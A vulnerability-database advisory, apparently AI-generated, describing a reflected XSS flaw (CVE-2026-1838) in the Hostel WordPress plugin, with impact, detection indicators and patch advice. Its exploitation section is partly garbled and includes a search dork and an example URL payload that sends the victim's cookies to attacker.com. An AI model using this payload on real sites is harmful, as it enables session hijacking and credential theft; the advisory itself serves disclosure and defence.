
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-1838 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Hostel plugin for WordPress, affecting all versions up to and including 1.1.6. The flaw exists in the shortcode_id parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts. It was published on April 18, 2026, with a patch available in version 1.1.7. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Wordfence).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The shortcode_id parameter, processed in controllers/ajax.php (line 28) and reflected in views/partial/rooms-table.html.php (line 29), is not properly sanitized before being output to the page. An unauthenticated attacker can craft a malicious URL containing a JavaScript payload in the shortcode_id parameter; when a victim clicks the link, the script executes in their browser within the context of the WordPress site. The patch was applied in changeset 3478265, modifying hostel.php and related files to properly sanitize and escape the parameter (GitHub Advisory, WordPress Trac).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser session within the context of the affected WordPress site. This can lead to session hijacking, credential theft, malware distribution, or unauthorized actions performed on behalf of the victim user. Because the scope is changed (S:C in CVSS), the injected script can affect resources beyond the vulnerable component itself, such as browser-stored credentials or cookies for the site (GitHub Advisory, Wordfence).
No public proof-of-concept exploit code or active in-the-wild exploitation has been observed as of the time of disclosure (Wordfence). The vulnerability requires user interaction — a victim must click a crafted malicious link — which limits opportunistic exploitation. The EPSS score is approximately 0.107%, indicating a low probability of exploitation in the near term. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. A Nuclei detection template pull request was submitted to ProjectDiscovery's repository, suggesting community interest in automated scanning (Nuclei Templates PR).
inurl:wp-content/plugins/hostel).shortcode_id parameter, for example: https://target-site.com/wp-admin/admin-ajax.php?action=hostel_rooms&shortcode_id=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.shortcode_id value is reflected into the HTML response and the injected script executes in the victim's browser, potentially stealing session cookies or performing actions on their behalf (GitHub Advisory, WordPress Trac).admin-ajax.php) containing URL-encoded script tags or JavaScript event handlers in the shortcode_id parameter; outbound connections from victim browsers to unknown external domains shortly after page load.admin-ajax.php with suspicious values in the shortcode_id parameter (e.g., %3Cscript%3E, javascript:, onerror=, onload=).wp-content/plugins/ or wp-content/uploads/.WordPress site administrators should immediately upgrade the Hostel plugin to version 1.1.7 or later, which addresses the vulnerability by properly sanitizing and escaping the shortcode_id parameter (WordPress Trac). If an immediate upgrade is not feasible, the plugin should be disabled until patching can be performed. As an additional defense-in-depth measure, implementing a Content Security Policy (CSP) header can reduce the impact of XSS attacks, and users should be educated about the risks of clicking unsolicited links (Wordfence).
Wordfence reported the vulnerability as part of their weekly WordPress vulnerability report for the week of April 13–19, 2026, noting it as a moderate-severity reflected XSS issue (Wordfence Blog). The CISA vulnerability bulletin for the week of April 13, 2026 also referenced this CVE (CISA Bulletin). Community interest was noted with a Nuclei template pull request submitted to automate detection of the vulnerability (Nuclei Templates PR). No significant social media controversy or major media coverage was observed.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."